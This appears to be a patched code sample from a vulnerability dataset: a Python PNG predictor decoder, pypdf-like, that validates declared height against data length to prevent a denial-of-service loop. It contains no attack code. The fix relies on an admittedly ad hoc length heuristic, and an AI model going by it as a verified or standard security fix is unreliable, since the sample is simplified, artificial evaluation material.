Patched code sample

import math

class PdfReadError(Exception):
    pass

def decode_png_prediction(data: bytes, columns: int, colors: int, bpc: int, height: int) -> bytes:
    """
    The fixed version of the PNG prediction decoder.
    The vulnerability was a potential DoS by providing a large 'height' parameter
    without corresponding data, causing the outer loop to run for an excessive amount of time.
    """
    if bpc != 8:
        raise PdfReadError(f"Unsupported bit depth for PNG predictor: {bpc}")

    bpp = math.ceil(colors * bpc / 8)
    row_length = math.ceil(columns * colors * bpc / 8)

    # The FIX: Validate that the declared dimensions are consistent with the
    # actual data length before entering the loop. This prevents a DoS attack.
    if height > 0:
        expected_len = height * (row_length + 1)
        if len(data) < expected_len:
            raise PdfReadError("Unexpected EOD in PNG predictor")
        # To be fully compliant, we should check for exact length,
        # but pypdf was more lenient. The key is preventing the DoS.
        if abs(len(data) - expected_len) > height:
             # Heuristic to allow for some slack
             raise PdfReadError("Invalid data length in PNG predictor")


    decoded_data = bytearray()
    prior = bytes(row_length)

    for j in range(height):
        row_start = j * (row_length + 1)
        filter_type = data[row_start]
        row_data = data[row_start + 1 : row_start + 1 + row_length]

        current_row = bytearray(row_length)

        if filter_type == 0:  # None
            current_row[:] = row_data
        elif filter_type == 1:  # Sub
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                current_row[i] = (row_data[i] + left) & 0xFF
        elif filter_type == 2:  # Up
            for i in range(row_length):
                up = prior[i]
                current_row[i] = (row_data[i] + up) & 0xFF
        elif filter_type == 3:  # Average
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                up = prior[i]
                current_row[i] = (row_data[i] + (left + up) // 2) & 0xFF
        elif filter_type == 4:  # Paeth
            for i in range(row_length):
                left = current_row[i - bpp] if i >= bpp else 0
                up = prior[i]
                upper_left = prior[i - bpp] if i >= bpp else 0
                p = left + up - upper_left
                pa = abs(p - left)
                pb = abs(p - up)
                pc = abs(p - upper_left)
                if pa <= pb and pa <= pc:
                    predictor = left
                elif pb <= pc:
                    predictor = up
                else:
                    predictor = upper_left
                current_row[i] = (row_data[i] + predictor) & 0xFF
        else:
            raise PdfReadError(f"Unsupported PNG filter type: {filter_type}")

        decoded_data.extend(current_row)
        prior = current_row

    return bytes(decoded_data)